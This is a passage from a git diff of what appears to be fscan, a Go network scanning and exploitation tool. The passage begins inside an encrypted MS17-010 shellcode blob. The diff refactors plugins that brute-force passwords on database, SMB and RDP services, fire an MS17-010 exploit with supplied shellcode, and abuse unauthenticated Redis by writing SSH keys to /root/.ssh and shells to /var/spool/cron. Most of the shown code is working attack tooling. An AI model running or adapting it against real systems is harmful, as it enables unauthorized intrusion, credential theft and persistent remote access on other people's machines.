"Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx" sc = AesDecrypt(sc_enc, key) default: - if strings.Contains(common.SC, "file:") { - read, err := os.ReadFile(common.SC[5:]) + if strings.Contains(flags.SC, "file:") { + read, err := os.ReadFile(flags.SC[5:]) if err != nil { - errlog := fmt.Sprintf("[-] ms17010 sc readfile %v error: %v", common.SC, err) + errlog := fmt.Sprintf("[-] ms17010 sc readfile %v error: %v", flags.SC, err) common.LogError(errlog) return } sc = fmt.Sprintf("%x", read) } else { - sc = common.SC + sc = flags.SC } } diff --git a/Plugins/ms17010.go b/Plugins/ms17010.go index 0bf5bca..f898b94 100644 --- a/Plugins/ms17010.go +++ b/Plugins/ms17010.go @@ -5,9 +5,10 @@ import ( "encoding/hex" "errors" "fmt" - "github.com/shadow1ng/fscan/common" "strings" "time" + + "github.com/shadow1ng/fscan/common" ) var ( @@ -23,11 +24,11 @@ var ( trans2SessionSetupRequest, _ = hex.DecodeString(AesDecrypt(trans2SessionSetupRequest_enc, key)) ) -func MS17010(info *common.HostInfo) error { - if common.IsBrute { +func MS17010(info common.HostInfo, flags common.Flags) error { + if flags.IsBrute { return nil } - err := MS17010Scan(info) + err := MS17010Scan(info, flags) if err != nil { errlog := fmt.Sprintf("[-] Ms17010 %v %v", info.Host, err) common.LogError(errlog) @@ -35,10 +36,10 @@ func MS17010(info *common.HostInfo) error { return err } -func MS17010Scan(info *common.HostInfo) error { +func MS17010Scan(info common.HostInfo, flags common.Flags) error { ip := info.Host // connecting to a host in LAN if reachable should be very quick - conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second) + conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second) defer func() { if conn != nil { conn.Close() @@ -48,7 +49,7 @@ func MS17010Scan(info *common.HostInfo) error { //fmt.Printf("failed to connect to %s\n", ip) return err } - err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) + err = conn.SetDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second)) if err != nil { //fmt.Printf("failed to connect to %s\n", ip) return err @@ -137,8 +138,8 @@ func MS17010Scan(info *common.HostInfo) error { result := fmt.Sprintf("[+] %s\tMS17-010\t(%s)", ip, os) common.LogSuccess(result) defer func() { - if common.SC != "" { - MS17010EXP(info) + if flags.SC != "" { + MS17010EXP(info, flags) } }() // detect present of DOUBLEPULSAR SMB implant diff --git a/Plugins/mssql.go b/Plugins/mssql.go index db0bc55..45167f6 100644 --- a/Plugins/mssql.go +++ b/Plugins/mssql.go @@ -3,21 +3,22 @@ package Plugins import ( "database/sql" "fmt" - _ "github.com/denisenkom/go-mssqldb" - "github.com/shadow1ng/fscan/common" "strings" "time" + + _ "github.com/denisenkom/go-mssqldb" + "github.com/shadow1ng/fscan/common" ) -func MssqlScan(info *common.HostInfo) (tmperr error) { - if common.IsBrute { +func MssqlScan(info common.HostInfo, flags common.Flags) (tmperr error) { + if flags.IsBrute { return } starttime := time.Now().Unix() for _, user := range common.Userdict["mssql"] { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - flag, err := MssqlConn(info, user, pass) + flag, err := MssqlConn(info, user, pass, flags.Timeout) if flag && err == nil { return err } else { @@ -27,7 +28,7 @@ func MssqlScan(info *common.HostInfo) (tmperr error) { if common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * common.Timeout) { + if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * flags.Timeout) { return err } } @@ -36,14 +37,14 @@ func MssqlScan(info *common.HostInfo) (tmperr error) { return tmperr } -func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { +func MssqlConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass - dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(common.Timeout)*time.Second) + dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(timeout)*time.Second) db, err := sql.Open("mssql", dataSourceName) if err == nil { - db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second) - db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second) + db.SetConnMaxLifetime(time.Duration(timeout) * time.Second) + db.SetConnMaxIdleTime(time.Duration(timeout) * time.Second) db.SetMaxIdleConns(0) defer db.Close() err = db.Ping() diff --git a/Plugins/mysql.go b/Plugins/mysql.go index 2927323..b02a4b0 100644 --- a/Plugins/mysql.go +++ b/Plugins/mysql.go @@ -3,21 +3,22 @@ package Plugins import ( "database/sql" "fmt" - _ "github.com/go-sql-driver/mysql" - "github.com/shadow1ng/fscan/common" "strings" "time" + + _ "github.com/go-sql-driver/mysql" + "github.com/shadow1ng/fscan/common" ) -func MysqlScan(info *common.HostInfo) (tmperr error) { - if common.IsBrute { +func MysqlScan(info common.HostInfo, flags common.Flags) (tmperr error) { + if flags.IsBrute { return } starttime := time.Now().Unix() for _, user := range common.Userdict["mysql"] { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - flag, err := MysqlConn(info, user, pass) + flag, err := MysqlConn(info, user, pass, flags.Timeout) if flag && err == nil { return err } else { @@ -27,7 +28,7 @@ func MysqlScan(info *common.HostInfo) (tmperr error) { if common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * common.Timeout) { + if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * flags.Timeout) { return err } } @@ -36,14 +37,14 @@ func MysqlScan(info *common.HostInfo) (tmperr error) { return tmperr } -func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { +func MysqlConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass - dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(common.Timeout)*time.Second) + dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(timeout)*time.Second) db, err := sql.Open("mysql", dataSourceName) if err == nil { - db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second) - db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second) + db.SetConnMaxLifetime(time.Duration(timeout) * time.Second) + db.SetConnMaxIdleTime(time.Duration(timeout) * time.Second) db.SetMaxIdleConns(0) defer db.Close() err = db.Ping() diff --git a/Plugins/oracle.go b/Plugins/oracle.go index f40043f..526057d 100644 --- a/Plugins/oracle.go +++ b/Plugins/oracle.go @@ -3,21 +3,22 @@ package Plugins import ( "database/sql" "fmt" - "github.com/shadow1ng/fscan/common" - _ "github.com/sijms/go-ora/v2" "strings" "time" + + "github.com/shadow1ng/fscan/common" + _ "github.com/sijms/go-ora/v2" ) -func OracleScan(info *common.HostInfo) (tmperr error) { - if common.IsBrute { +func OracleScan(info common.HostInfo, flags common.Flags) (tmperr error) { + if flags.IsBrute { return } starttime := time.Now().Unix() for _, user := range common.Userdict["oracle"] { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - flag, err := OracleConn(info, user, pass) + flag, err := OracleConn(info, user, pass, flags.Timeout) if flag && err == nil { return err } else { @@ -27,7 +28,7 @@ func OracleScan(info *common.HostInfo) (tmperr error) { if common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["oracle"])*len(common.Passwords)) * common.Timeout) { + if time.Now().Unix()-starttime > (int64(len(common.Userdict["oracle"])*len(common.Passwords)) * flags.Timeout) { return err } } @@ -36,14 +37,14 @@ func OracleScan(info *common.HostInfo) (tmperr error) { return tmperr } -func OracleConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { +func OracleConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", Username, Password, Host, Port) db, err := sql.Open("oracle", dataSourceName) if err == nil { - db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second) - db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second) + db.SetConnMaxLifetime(time.Duration(timeout) * time.Second) + db.SetConnMaxIdleTime(time.Duration(timeout) * time.Second) db.SetMaxIdleConns(0) defer db.Close() err = db.Ping() diff --git a/Plugins/portscan.go b/Plugins/portscan.go index 66fcf9c..6b1cd00 100644 --- a/Plugins/portscan.go +++ b/Plugins/portscan.go @@ -15,10 +15,10 @@ type Addr struct { port int } -func PortScan(hostslist []string, ports string, timeout int64) []string { +func PortScan(hostslist []string, ports string, flags common.Flags) []string { var AliveAddress []string probePorts := common.ParsePort(ports) - noPorts := common.ParsePort(common.NoPorts) + noPorts := common.ParsePort(flags.NoPorts) if len(noPorts) > 0 { temp := map[int]struct{}{} for _, port := range probePorts { @@ -36,7 +36,7 @@ func PortScan(hostslist []string, ports string, timeout int64) []string { probePorts = newDatas sort.Ints(probePorts) } - workers := common.Threads + workers := flags.Threads Addrs := make(chan Addr, len(hostslist)*len(probePorts)) results := make(chan string, len(hostslist)*len(probePorts)) var wg sync.WaitGroup @@ -53,7 +53,7 @@ func PortScan(hostslist []string, ports string, timeout int64) []string { for i := 0; i < workers; i++ { go func() { for addr := range Addrs { - PortConnect(addr, results, timeout, &wg) + PortConnect(addr, common.Socks5{Address: flags.Socks5Proxy}, results, flags.Timeout, &wg) wg.Done() } }() @@ -75,9 +75,9 @@ func PortScan(hostslist []string, ports string, timeout int64) []string { return AliveAddress } -func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) { +func PortConnect(addr Addr, socks5Proxy common.Socks5, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) { host, port := addr.ip, addr.port - conn, err := common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second) + conn, err := common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), socks5Proxy, time.Duration(adjustedTimeout)*time.Second) defer func() { if conn != nil { conn.Close() @@ -92,9 +92,9 @@ func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64 } } -func NoPortScan(hostslist []string, ports string) (AliveAddress []string) { +func NoPortScan(hostslist []string, ports string, flags common.Flags) (AliveAddress []string) { probePorts := common.ParsePort(ports) - noPorts := common.ParsePort(common.NoPorts) + noPorts := common.ParsePort(flags.NoPorts) if len(noPorts) > 0 { temp := map[int]struct{}{} for _, port := range probePorts { diff --git a/Plugins/postgres.go b/Plugins/postgres.go index f52ca68..6ffc8a4 100644 --- a/Plugins/postgres.go +++ b/Plugins/postgres.go @@ -3,21 +3,22 @@ package Plugins import ( "database/sql" "fmt" - _ "github.com/lib/pq" - "github.com/shadow1ng/fscan/common" "strings" "time" + + _ "github.com/lib/pq" + "github.com/shadow1ng/fscan/common" ) -func PostgresScan(info *common.HostInfo) (tmperr error) { - if common.IsBrute { +func PostgresScan(info common.HostInfo, flags common.Flags) (tmperr error) { + if flags.IsBrute { return } starttime := time.Now().Unix() for _, user := range common.Userdict["postgresql"] { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", string(user), -1) - flag, err := PostgresConn(info, user, pass) + flag, err := PostgresConn(info, user, pass, flags.Timeout) if flag && err == nil { return err } else { @@ -27,7 +28,7 @@ func PostgresScan(info *common.HostInfo) (tmperr error) { if common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * common.Timeout) { + if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * flags.Timeout) { return err } } @@ -36,13 +37,13 @@ func PostgresScan(info *common.HostInfo) (tmperr error) { return tmperr } -func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { +func PostgresConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable") db, err := sql.Open("postgres", dataSourceName) if err == nil { - db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second) + db.SetConnMaxLifetime(time.Duration(timeout) * time.Second) defer db.Close() err = db.Ping() if err == nil { diff --git a/Plugins/rdp.go b/Plugins/rdp.go index 2754a9a..694d295 100644 --- a/Plugins/rdp.go +++ b/Plugins/rdp.go @@ -3,6 +3,13 @@ package Plugins import ( "errors" "fmt" + "log" + "os" + "strconv" + "strings" + "sync" + "time" + "github.com/shadow1ng/fscan/common" "github.com/tomatome/grdp/core" "github.com/tomatome/grdp/glog" @@ -13,12 +20,6 @@ import ( "github.com/tomatome/grdp/protocol/t125" "github.com/tomatome/grdp/protocol/tpkt" "github.com/tomatome/grdp/protocol/x224" - "log" - "os" - "strconv" - "strings" - "sync" - "time" ) type Brutelist struct { @@ -26,11 +27,13 @@ type Brutelist struct { pass string } -func RdpScan(info *common.HostInfo) (tmperr error) { - if common.IsBrute { +var sock5Proxy common.Socks5 = common.Socks5{Address: ""} + +func RdpScan(info common.HostInfo, flags common.Flags) (tmperr error) { + if flags.IsBrute { return } - + sock5Proxy = common.Socks5{Address: flags.Socks5Proxy} var wg sync.WaitGroup var signal bool var num = 0 @@ -46,9 +49,9 @@ func RdpScan(info *common.HostInfo) (tmperr error) { } } - for i := 0; i < common.BruteThread; i++ { + for i := 0; i < flags.BruteThread; i++ { wg.Add(1) - go worker(info.Host, common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, common.Timeout) + go worker(info.Host, flags.Domain, port, &wg, brlist, &signal, &num, all, &mutex, flags.Timeout) } close(brlist) @@ -107,13 +110,14 @@ func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, } type Client struct { - Host string // ip:port - tpkt *tpkt.TPKT - x224 *x224.X224 - mcs *t125.MCSClient - sec *sec.Client - pdu *pdu.Client - vnc *rfb.RFB + Host string // ip:port + proxy common.Socks5 + tpkt *tpkt.TPKT + x224 *x224.X224 + mcs *t125.MCSClient + sec *sec.Client + pdu *pdu.Client + vnc *rfb.RFB } func NewClient(host string, logLevel glog.LEVEL) *Client { @@ -125,8 +129,12 @@ func NewClient(host string, logLevel glog.LEVEL) *Client { } } +func (g *Client) setProxy(proxy common.Socks5) { + g.proxy = proxy +} + func (g *Client) Login(domain, user, pwd string, timeout int64) error { - conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second) + conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, sock5Proxy, time.Duration(timeout)*time.Second) defer func() { if conn != nil { conn.Close() diff --git a/Plugins/redis.go b/Plugins/redis.go index c0915c9..cc77786 100644 --- a/Plugins/redis.go +++ b/Plugins/redis.go @@ -3,11 +3,12 @@ package Plugins import ( "bufio" "fmt" - "github.com/shadow1ng/fscan/common" "net" "os" "strings" "time" + + "github.com/shadow1ng/fscan/common" ) var ( @@ -15,18 +16,18 @@ var ( dir string ) -func RedisScan(info *common.HostInfo) (tmperr error) { +func RedisScan(info *common.HostInfo, flags common.Flags) (tmperr error) { starttime := time.Now().Unix() - flag, err := RedisUnauth(info) + flag, err := RedisUnauth(info, flags) if flag && err == nil { return err } - if common.IsBrute { + if flags.IsBrute { return } for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", "redis", -1) - flag, err := RedisConn(info, pass) + flag, err := RedisConn(info, flags, pass) if flag && err == nil { return err } else { @@ -36,7 +37,7 @@ func RedisScan(info *common.HostInfo) (tmperr error) { if common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * common.Timeout) { + if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * flags.Timeout) { return err } } @@ -44,10 +45,10 @@ func RedisScan(info *common.HostInfo) (tmperr error) { return tmperr } -func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) { +func RedisConn(info *common.HostInfo, flags common.Flags, pass string) (flag bool, err error) { flag = false realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) - conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) + conn, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second) defer func() { if conn != nil { conn.Close() @@ -56,7 +57,7 @@ func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) { if err != nil { return flag, err } - err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) + err = conn.SetReadDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second)) if err != nil { return flag, err } @@ -79,15 +80,15 @@ func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) { result := fmt.Sprintf("[+] Redis:%s %s file:%s/%s", realhost, pass, dir, dbfilename) common.LogSuccess(result) } - err = Expoilt(realhost, conn) + err = Expoilt(realhost, conn, flags.RedisShell) } return flag, err } -func RedisUnauth(info *common.HostInfo) (flag bool, err error) { +func RedisUnauth(info *common.HostInfo, flags common.Flags) (flag bool, err error) { flag = false realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) - conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) + conn, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second) defer func() { if conn != nil { conn.Close() @@ -96,7 +97,7 @@ func RedisUnauth(info *common.HostInfo) (flag bool, err error) { if err != nil { return flag, err } - err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) + err = conn.SetReadDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second)) if err != nil { return flag, err } @@ -119,12 +120,12 @@ func RedisUnauth(info *common.HostInfo) (flag bool, err error) { result := fmt.Sprintf("[+] Redis:%s unauthorized file:%s/%s", realhost, dir, dbfilename) common.LogSuccess(result) } - err = Expoilt(realhost, conn) + err = Expoilt(realhost, conn, flags.RedisShell) } return flag, err } -func Expoilt(realhost string, conn net.Conn) error { +func Expoilt(realhost string, conn net.Conn, redisShell string) error { flagSsh, flagCron, err := testwrite(conn) if err != nil { return err @@ -132,8 +133,8 @@ func Expoilt(realhost string, conn net.Conn) error { if flagSsh { result := fmt.Sprintf("[+] Redis:%v like can write /root/.ssh/", realhost) common.LogSuccess(result) - if common.RedisFile != "" { - writeok, text, err := writekey(conn, common.RedisFile) + if redisShell != "" { + writeok, text, err := writekey(conn, redisShell) if err != nil { fmt.Printf("[-] %s SSH write key errer: %s", realhost, text) return err @@ -150,8 +151,8 @@ func Expoilt(realhost string, conn net.Conn) error { if flagCron { result := fmt.Sprintf("[+] Redis:%v like can write /var/spool/cron/", realhost) common.LogSuccess(result) - if common.RedisShell != "" { - writeok, text, err := writecron(conn, common.RedisShell) + if redisShell != "" { + writeok, text, err := writecron(conn, redisShell) if err != nil { return err } @@ -376,7 +377,7 @@ func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) { if err != nil { return } - + if _, err = readreply(conn); err != nil { return } @@ -384,7 +385,7 @@ func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) { if err != nil { return } - + if _, err = readreply(conn); err != nil { return } diff --git a/Plugins/scanner.go b/Plugins/scanner.go index 5ebcce1..68e4eda 100644 --- a/Plugins/scanner.go +++ b/Plugins/scanner.go @@ -11,46 +11,46 @@ import ( "github.com/shadow1ng/fscan/common" ) -func Scan(info common.HostInfo) { +func Scan(info common.HostInfo, flags common.Flags) { fmt.Println("start infoscan") - Hosts, err := common.ParseIP(info.Host, common.HostFile, common.NoHosts) + Hosts, err := common.ParseIP(&info.HostPort, info.Host, flags.HostFile, flags.NoHosts) if err != nil { fmt.Println("len(hosts)==0", err) return } - lib.Inithttp(common.Pocinfo) - var ch = make(chan struct{}, common.Threads) + lib.Inithttp(flags) + var ch = make(chan struct{}, flags.Threads) var wg = sync.WaitGroup{} web := strconv.Itoa(common.PORTList["web"]) ms17010 := strconv.Itoa(common.PORTList["ms17010"]) - if len(Hosts) > 0 || len(common.HostPort) > 0 { - if !common.NoPing && len(Hosts) > 0 { - Hosts = CheckLive(Hosts, common.Ping) + if len(Hosts) > 0 || len(info.HostPort) > 0 { + if !flags.NoPing && len(Hosts) > 0 { + Hosts = CheckLive(Hosts, flags.Ping, flags.LiveTop) fmt.Println("[*] Icmp alive hosts len is:", len(Hosts)) } - if common.Scantype == "icmp" { + if flags.Scantype == "icmp" { common.LogWG.Wait() return } var AlivePorts []string - if common.Scantype == "webonly" || common.Scantype == "webpoc" { - AlivePorts = NoPortScan(Hosts, info.Ports) - } else if common.Scantype == "hostname" { + if flags.Scantype == "webonly" || flags.Scantype == "webpoc" { + AlivePorts = NoPortScan(Hosts, info.Ports, flags) + } else if flags.Scantype == "hostname" { info.Ports = "139" - AlivePorts = NoPortScan(Hosts, info.Ports) + AlivePorts = NoPortScan(Hosts, info.Ports, flags) } else if len(Hosts) > 0 { - AlivePorts = PortScan(Hosts, info.Ports, common.Timeout) + AlivePorts = PortScan(Hosts, info.Ports, flags) fmt.Println("[*] alive ports len is:", len(AlivePorts)) - if common.Scantype == "portscan" { + if flags.Scantype == "portscan" { common.LogWG.Wait() return } } - if len(common.HostPort) > 0 { - AlivePorts = append(AlivePorts, common.HostPort...) + if len(info.HostPort) > 0 { + AlivePorts = append(AlivePorts, info.HostPort...) AlivePorts = common.RemoveDuplicate(AlivePorts) - common.HostPort = nil + info.HostPort = nil fmt.Println("[*] AlivePorts len is:", len(AlivePorts)) } @@ -61,35 +61,35 @@ func Scan(info common.HostInfo) { fmt.Println("start vulscan") for _, targetIP := range AlivePorts { info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1] - if common.Scantype == "all" || common.Scantype == "main" { + if flags.Scantype == "all" || flags.Scantype == "main" { switch { case info.Ports == "135": - AddScan(info.Ports, info, &ch, &wg) //findnet - if common.IsWmi { - AddScan("1000005", info, &ch, &wg) //wmiexec + AddScan(info.Ports, info, flags, &ch, &wg) //findnet + if flags.IsWmi { + AddScan("1000005", info, flags, &ch, &wg) //wmiexec } case info.Ports == "445": - AddScan(ms17010, info, &ch, &wg) //ms17010 + AddScan(ms17010, info, flags, &ch, &wg) //ms17010 //AddScan(info.Ports, info, ch, &wg) //smb //AddScan("1000002", info, ch, &wg) //smbghost case info.Ports == "9000": - AddScan(web, info, &ch, &wg) //http - AddScan(info.Ports, info, &ch, &wg) //fcgiscan + AddScan(web, info, flags, &ch, &wg) //http + AddScan(info.Ports, info, flags, &ch, &wg) //fcgiscan case IsContain(severports, info.Ports): - AddScan(info.Ports, info, &ch, &wg) //plugins scan + AddScan(info.Ports, info, flags, &ch, &wg) //plugins scan default: - AddScan(web, info, &ch, &wg) //webtitle + AddScan(web, info, flags, &ch, &wg) //webtitle } } else { - scantype := strconv.Itoa(common.PORTList[common.Scantype]) - AddScan(scantype, info, &ch, &wg) + scantype := strconv.Itoa(common.PORTList[flags.Scantype]) + AddScan(scantype, info, flags, &ch, &wg) } } } - for _, url := range common.Urls { + for _, url := range flags.Urls { info.Url = url - AddScan(web, info, &ch, &wg) + AddScan(web, info, flags, &ch, &wg) } wg.Wait() @@ -101,14 +101,14 @@ func Scan(info common.HostInfo) { var Mutex = &sync.Mutex{} -func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { +func AddScan(scantype string, info common.HostInfo, flags common.Flags, ch *chan struct{}, wg *sync.WaitGroup) { *ch <- struct{}{} wg.Add(1) go func() { Mutex.Lock() common.Num += 1 Mutex.Unlock() - ScanFunc(&scantype, &info) + ScanFunc(scantype, info, flags) Mutex.Lock() common.End += 1 Mutex.Unlock() @@ -117,9 +117,9 @@ func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync. }() } -func ScanFunc(name *string, info *common.HostInfo) { - f := reflect.ValueOf(PluginList[*name]) - in := []reflect.Value{reflect.ValueOf(info)} +func ScanFunc(name string, info common.HostInfo, flags common.Flags) { + f := reflect.ValueOf(PluginList[name]) + in := []reflect.Value{reflect.ValueOf(info), reflect.ValueOf(flags)} f.Call(in) } diff --git a/Plugins/smb.go b/Plugins/smb.go index 9b6b835..69f1b61 100644 --- a/Plugins/smb.go +++ b/Plugins/smb.go @@ -3,25 +3,26 @@ package Plugins import ( "errors" "fmt" - "github.com/shadow1ng/fscan/common" - "github.com/stacktitan/smb/smb" "strings" "time" + + "github.com/shadow1ng/fscan/common" + "github.com/stacktitan/smb/smb" ) -func SmbScan(info *common.HostInfo) (tmperr error) { - if common.IsBrute { +func SmbScan(info common.HostInfo, flags common.Flags) (tmperr error) { + if flags.IsBrute { return nil } starttime := time.Now().Unix() for _, user := range common.Userdict["smb"] { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - flag, err := doWithTimeOut(info, user, pass) + flag, err := doWithTimeOut(info, flags, user, pass) if flag && err == nil { var result string - if common.Domain != "" { - result = fmt.Sprintf("[+] SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, common.Domain, user, pass) + if flags.Domain != "" { + result = fmt.Sprintf("[+] SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, flags.Domain, user, pass) } else { result = fmt.Sprintf("[+] SMB:%v:%v:%v %v", info.Host, info.Ports, user, pass) } @@ -35,7 +36,7 @@ func SmbScan(info *common.HostInfo) (tmperr error) { if common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) { + if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * flags.Timeout) { return err } } @@ -44,7 +45,7 @@ func SmbScan(info *common.HostInfo) (tmperr error) { return tmperr } -func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) { +func SmblConn(info common.HostInfo, flags common.Flags, user string, pass string, signal chan struct{}) (flag bool, err error) { flag = false Host, Username, Password := info.Host, user, pass options := smb.Options{ @@ -52,7 +53,7 @@ func SmblConn(info *common.HostInfo, user string, pass string, signal chan struc Port: 445, User: Username, Password: Password, - Domain: common.Domain, + Domain: flags.Domain, Workstation: "", } @@ -67,15 +68,15 @@ func SmblConn(info *common.HostInfo, user string, pass string, signal chan struc return flag, err } -func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) { +func doWithTimeOut(info common.HostInfo, flags common.Flags, user string, pass string) (flag bool, err error) { signal := make(chan struct{}) go func() { - flag, err = 